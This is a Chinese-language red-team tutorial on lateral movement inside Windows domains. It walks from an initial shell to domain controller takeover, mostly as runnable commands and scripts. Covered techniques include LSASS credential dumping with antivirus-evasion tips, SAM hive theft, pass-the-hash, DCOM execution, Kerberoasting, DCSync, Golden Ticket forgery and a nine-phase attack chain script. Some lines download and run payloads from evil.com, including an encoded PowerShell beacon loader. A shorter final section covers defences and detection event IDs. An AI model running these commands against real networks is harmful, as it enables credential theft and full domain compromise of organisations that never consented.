一、引言
在红队实战中,“拿下一台机器"从来不是终点——横向移动(Lateral Movement)才是决定内网渗透成败的核心环节。从初始立足点(Initial Foothold)到最终拿下域控制器(Domain Controller),攻击者需要穿越层层网络边界、窃取凭据、提升权限。本文将按照真实攻防节奏,从信息收集开始,一步步走到域控权限的完整横向移动技术链。
二、阶段一:内网信息收集
2.1 基本态势感知
获得初始 Shell 后,第一要务是搞清楚"我在哪”、“周围有什么”。
# === 主机信息 ===
hostname
whoami
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
ipconfig /all
# === 域信息 ===
net user /domain # 域用户列表
net group /domain # 域组列表
net group "Domain Admins" /domain # 域管理员
net group "Enterprise Admins" /domain
nltest /dclist:corp.local # 域控列表
nltest /dsgetdc:corp.local # 当前域控
# === 网络拓扑 ===
netstat -ano # 当前连接
route print # 路由表
arp -a # ARP 表
net view /domain # 域内主机
2.2 自动化信息收集脚本(PowerShell)
# 一站式内网信息收集
function Invoke-InternalRecon {
$output = @{}
# 域信息
try {
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$output.Domain = $domain.Name
$output.DomainControllers = $domain.DomainControllers | % { $_.Name }
$output.Forest = $domain.Forest.Name
} catch { $output.Domain = "WORKGROUP" }
# 本地用户与权限
$output.LocalUsers = Get-LocalUser | Select Name, Enabled, LastLogon
$output.LocalAdmins = Get-LocalGroupMember Administrators | Select Name
# 网络接口
$output.NetworkAdapters = Get-NetIPAddress -AddressFamily IPv4 |
Where { $_.InterfaceAlias -notmatch "Loopback" } |
Select InterfaceAlias, IPAddress, PrefixLength
# 服务端口
$output.ListeningPorts = Get-NetTCPConnection -State Listen |
Select LocalAddress, LocalPort, OwningProcess |
Group LocalPort | Select Count, Name
return $output
}
Invoke-InternalRecon | ConvertTo-Json -Depth 3
2.3 BloodHound 采集
# SharpHound 数据采集(攻击者视角)
# 上传 SharpHound.exe 或使用 Ingestor
.\SharpHound.exe -c All,LoggedOn --zipfilename recon.zip
# 收集完成后导入 BloodHound 分析攻击路径
# 关键查询:
# - Find Shortest Path to Domain Admins
# - Find Principals with DCSync Rights
# - Find Kerberoastable Users
三、阶段二:凭据窃取
3.1 LSASS 内存凭据提取
# 方法1:使用 mimikatz(需要高权限运行)
# 先提权到 SYSTEM
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 输出示例:
# Authentication Id : 0 ; 123456
# User Name : jsmith
# Domain : CORP
# NTLM : aad3b435b51404eeaad3b435b51404ee
# SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
# 方法2:Procdump + Mimikatz(避免杀软检测 mimikatz 本体)
# 导出 LSASS 进程内存
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
# 离线提取凭据
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
3.2 注册表凭据提取
# SAM 数据库(本地用户哈希)
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# 使用 secretsdump.py 离线提取
# secretsdump.py -sam sam.hive -system system.hive LOCAL
# 缓存的域凭据提取(MSCache2)
reg save HKLM\SECURITY security.hive
# secretsdump.py -security security.hive -system system.hive LOCAL
3.3 常见凭据位置清单
# 1. 浏览器保存的密码
# Chromium: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# Firefox: %APPDATA%\Mozilla\Firefox\Profiles\*\logins.json
# 2. PowerShell 历史记录
# %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 3. 配置文件中的明文密码
# web.config, app.config, .env, connectionStrings.xml
dir /s /b C:\inetpub\wwwroot\web.config
dir /s /b C:\*.env
# 4. 计划任务中的凭据
schtasks /query /fo LIST /v | findstr /i "PASSWORD\|CREDENTIAL"
# 5. 组策略首选项(GPP)密码
# \\corp.local\SYSVOL\corp.local\Policies\*\MACHINE\Preferences\Groups\Groups.xml
# 使用 gpp-decrypt 解密 cpassword
四、阶段三:横向移动技术
4.1 Pass-the-Hash(哈希传递)
当获取 NTLM Hash 但无法破解明文密码时使用:
# 使用 crackmapexec 验证哈希有效性
crackmapexec smb 10.0.1.0/24 -u jsmith -H aad3b435b51404eeaad3b435b51404ee
# 使用 impacket 套件
# wmiexec — 通过 WMI 远程执行(无文件落地)
wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee CORP/jsmith@10.0.1.50
# psexec — 通过 SMB + 服务执行
psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee CORP/jsmith@10.0.1.50
# smbexec — 通过 SMB + 服务创建(规避 EDR 行为检测)
smbexec.py -hashes :aad3b435b51404eeaad3b435b51404ee CORP/jsmith@10.0.1.50
# atexec — 计划任务执行
atexec.py -hashes :aad3b435b51404eeaad3b435b51404ee CORP/jsmith@10.0.1.50 "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGUAdgBpAGwALgBjAG8AbQAvAGIAZQBhAGMAbwBuACcAKQA="
4.2 PSExec 原理深度解析
PSExec 执行流程:
1. 通过 SMB (445) 连接到目标 ADMIN$ 共享
2. 上传 psexesvc.exe 到 \\target\ADMIN$\system32\
3. 通过 SCM(Service Control Manager)创建并启动临时服务
4. psexesvc.exe 创建命名管道与攻击机通信
5. 攻击结束后停止并删除服务
# PowerShell 版 PSExec(不落地文件)
$computer = "WS01"
$cmd = "powershell -enc <base64_payload>"
# 方法1:Invoke-WmiMethod
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $cmd -ComputerName $computer
# 方法2:WMI 远程创建进程
$wmi = [WMIClass]"\\$computer\root\cimv2:Win32_Process"
$wmi.Create($cmd)
# 方法3:WinRM (5985/5986)
Invoke-Command -ComputerName $computer -ScriptBlock {
# 在此处执行命令
whoami; hostname
} -Credential $cred
4.3 DCOM 横向移动
# MMC20.Application COM 对象(Office 安装后可用)
$mmc = [activator]::CreateInstance(
[type]::GetTypeFromProgID("MMC20.Application.1", "10.0.1.50")
)
$mmc.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c calc.exe", "7")
# Excel.Application DCOM
$excel = [activator]::CreateInstance(
[type]::GetTypeFromProgID("Excel.Application", "10.0.1.50")
)
$excel.DisplayAlerts = $false
$excel.DDEInitiate("cmd.exe", "/c powershell.exe -enc <payload>")
# ShellWindows — 获取已登录用户的 Explorer
$shell = [activator]::CreateInstance(
[type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "10.0.1.50")
)
foreach ($item in $shell) {
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "", $null, 0)
}
4.4 SSH / 第三方服务横向
# 利用存储的 SSH 密钥
ssh -i stolen_id_rsa user@10.0.1.60
# 利用 Ansible 主机
# 从 /etc/ansible/hosts 发现目标
ansible all -i /etc/ansible/hosts -m shell -a "wget http://evil.com/beacon -O /tmp/b"
# 利用 WinRM (HTTP/5985 或 HTTPS/5986)
evil-winrm -u jsmith -H aad3b435b51404eeaad3b435b51404ee -i 10.0.1.50
五、阶段四:域渗透与提权
5.1 Kerberoasting 攻击
任何域用户都可以请求域内服务账户的 TGS 票据,票据使用服务账户的 NTLM 哈希加密,可离线爆破。
# 方法1:Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.0.1.10 CORP/jsmith -outputfile kerberoast.hashes
# 方法2:Rubeus(Windows 原生,更隐蔽)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
# 输出格式:
# $krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQLSvc/ws01.corp.local*$ab12cd34...
# 离线爆破
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
john --format=krb5tgs kerberoast.txt --wordlist=rockyou.txt
5.2 AS-REP Roasting
无需域凭据即可发起,针对未启用 Kerberos 预认证的用户:
# Impacket
GetNPUsers.py CORP/ -dc-ip 10.0.1.10 -usersfile users.txt -format hashcat -outputfile asrep.hashes
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# 爆破
hashcat -m 18200 asrep.hashes rockyou.txt --force
5.3 DCSync — 终极域控攻击
DCSync 攻击复制域控的 NTDs.dit,获取域内所有用户哈希(包括 KRBTGT):
# 需要以下权限之一:
# - Domain Admins
# - Enterprise Admins
# - 具有 "Replicating Directory Changes" 权限的账户
# 使用 Mimikatz
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
# 使用 Impacket secretsdump
secretsdump.py -just-dc 'CORP/jsmith:Password123@10.0.1.10'
secretsdump.py -just-dc-ntlm 'CORP/jsmith@10.0.1.10' -hashes :aad3b435b51404ee
# 输出包含:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:afd365dc...
5.4 Golden Ticket — 域持久化
# 前提:已经获取 KRBTGT 哈希 + 域 SID
# 域 SID 获取
# whoami /user → CORP\jsmith → SID: S-1-5-21-1234567890-1234567890-1234567890-1105
# 域 SID: S-1-5-21-1234567890-1234567890-1234567890
# 使用 Mimikatz 生成 Golden Ticket
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 \
/krbtgt:afd365dc... /user:Administrator /id:500 \
/groups:512,513,514,515,516,518,519,520 \
/ptt
# 验证
mimikatz # kerberos::list
# 现在可以访问域内任意资源
dir \\dc01.corp.local\c$
# Impacket ticketer.py 生成
ticketer.py -nthash afd365dc... -domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
-domain corp.local Administrator
# 导出 ticker 并注入
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass CORP/Administrator@dc01.corp.local
六、完整攻击链实战演示
#!/bin/bash
# ====================================
# 横向移动完整攻击链
# 从 WebShell → 域控 全流程
# ====================================
# Phase 1: 初始立足点(Web 漏洞获取 Shell)
# 假设已通过 SQL 注入拿到 www-data 权限
target="10.0.1.20" # Web 服务器 IP
# Phase 2: 提权到 SYSTEM/LOCAL
echo "[*] Phase 2: Privilege Escalation"
# 使用 Potato 系列提权或内核漏洞
curl -o /tmp/juicy.exe http://evil.com/JuicyPotatoNG.exe
./juicy.exe -t * -p "C:\\windows\\system32\\cmd.exe" -a "/c curl http://evil.com/c"
# Phase 3: 内网扫描与信息收集
echo "[*] Phase 3: Internal Recon"
# 从 C2 Beacon 执行
net view /domain
ping -n 1 dc01.corp.local
nltest /dclist:corp.local
# Phase 4: 凭据提取
echo "[*] Phase 4: Credential Dumping"
# 上传 procdump64 + mimikatz
# → 获取 Domain User 凭据: corp.local\svc_web:Spring2024!
# Phase 5: 横向移动至跳板机
echo "[*] Phase 5: Lateral Movement"
wmiexec.py corp.local/svc_web:'Spring2024!'@10.0.1.30
# 在跳板机上重复信息收集
# Phase 6: Kerberoasting
echo "[*] Phase 6: Kerberoasting"
GetUserSPNs.py -request -dc-ip 10.0.1.10 corp.local/svc_web:'Spring2024!'
hashcat -m 13100 kerberoast.txt rockyou.txt
# → 破解得到 svc_mssql:DatabasePass2024!
# Phase 7: 横向移动至 SQL Server
echo "[*] Phase 7: Move to SQL Server"
wmiexec.py corp.local/svc_mssql:'DatabasePass2024!'@10.0.1.40
# Phase 8: 发现 svc_mssql 有 DCSync 权限
# BloodHound 查询: MATCH (u:User)-[:MemberOf]->(g:Group)
# WHERE g.objectid ENDS WITH '-512' return u
echo "[*] Phase 8: DCSync"
secretsdump.py -just-dc corp.local/svc_mssql:'DatabasePass2024!'@10.0.1.10
# → 导出所有域哈希,包括 KRBTGT
# Phase 9: Golden Ticket + 域控登录
echo "[*] Phase 9: Domain Dominance"
# 生成 Golden Ticket
ticketer.py -nthash <krbtgt_hash> -domain-sid <domain_sid> \
-domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
# → 完全控制域控制器
七、防御方案
7.1 预防凭据窃取
# 1. 启用 LSA Protection
# 注册表: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# RunAsPPL = 1 (需要 Secure Boot 配合)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 2. 启用 Credential Guard
# 需要 Hyper-V + Secure Boot + TPM 2.0
Enable-WindowsOptionalFeature -Online -FeatureName Windows-Defender-ApplicationGuard
# 3. 使用 Managed Service Accounts(MSA/gMSA)
# 替代普通服务账户,自动轮换密码
New-ADServiceAccount -Name svc_mssql -RestrictToSingleComputer
# 4. 部署 LAPS(Local Administrator Password Solution)
# 每台计算机本地管理员密码唯一且定期轮换
7.2 阻断横向移动
| 措施 | 说明 | 实施难度 |
|---|---|---|
| 网络分段 | VLAN/子网隔离,DMZ、应用层、数据层分开 | 中 |
| SMB 签名 | 强制 SMB 签名防止中继攻击 | 低 |
| 禁用 NTLMv1 | 仅允许 NTLMv2 和 Kerberos | 低 |
| 限制 PSExec/WMI | 应用控制策略禁止非授权远程管理 | 中 |
| RDP Restricted Admin | 防止凭据缓存到目标机器 | 低 |
| JEA (Just Enough Administration) | PowerShell 约束模式 | 高 |
7.3 检测指标(IOC)
# 检测横向移动的可疑行为
# Windows Event ID 监控清单:
# 4624: 登录成功(注意 LogonType 3=Network, 10=RemoteInteractive)
# 4625: 登录失败(大量失败后成功 = 暴力破解)
# 4648: 使用显式凭据尝试登录
# 4672: 特殊权限分配给新登录
# 4688: 进程创建(注意异常父进程链)
# 4697: 服务安装(PSExec 特征)
# 4720/4722/4726: 账户变更
# 4768/4769: Kerberos TGT/TGS 请求
# 4771: Kerberos 预认证失败(AS-REP Roasting 特征)
# 7045: 新服务被安装(PSExec 特征)
# 5140: 网络共享访问(C$ ADMIN$ 访问)
# Splunk 检测规则示例
sourcetype="WinEventLog:Security" EventCode=4624 LogonType=3
| where NOT (user IN ("ANONYMOUS LOGON", "LOCAL SERVICE", "NETWORK SERVICE"))
| stats count by user, src_ip, dest, ComputerName
| where count > 20
| table user, src_ip, dest, count
八、总结
内网横向移动是一场"跳板逐级递进"的持久战。从单机 Code Execution 到域控 Full Control,攻击者需要灵活运用信息收集、凭据窃取、多种横向技术组合。关键要点:
- 凭据为王——NTLM Hash、Kerberos Ticket、明文密码同等危险
- 路径规划——BloodHound 揭示的攻击路径往往是防御的盲区
- 动静结合——PSExec 留下大量日志,DCOM/WinRM 更隐蔽但仍可检测
- 纵深防御——单一防线必然被突破,LSA Protection + 网络分段 + 日志监控构成三位一体
红队的目标不是"不被发现",而是"在被发现之前达成目标"。蓝队的目标是"在目标达成之前发现并阻断"——这是一场永不停息的博弈。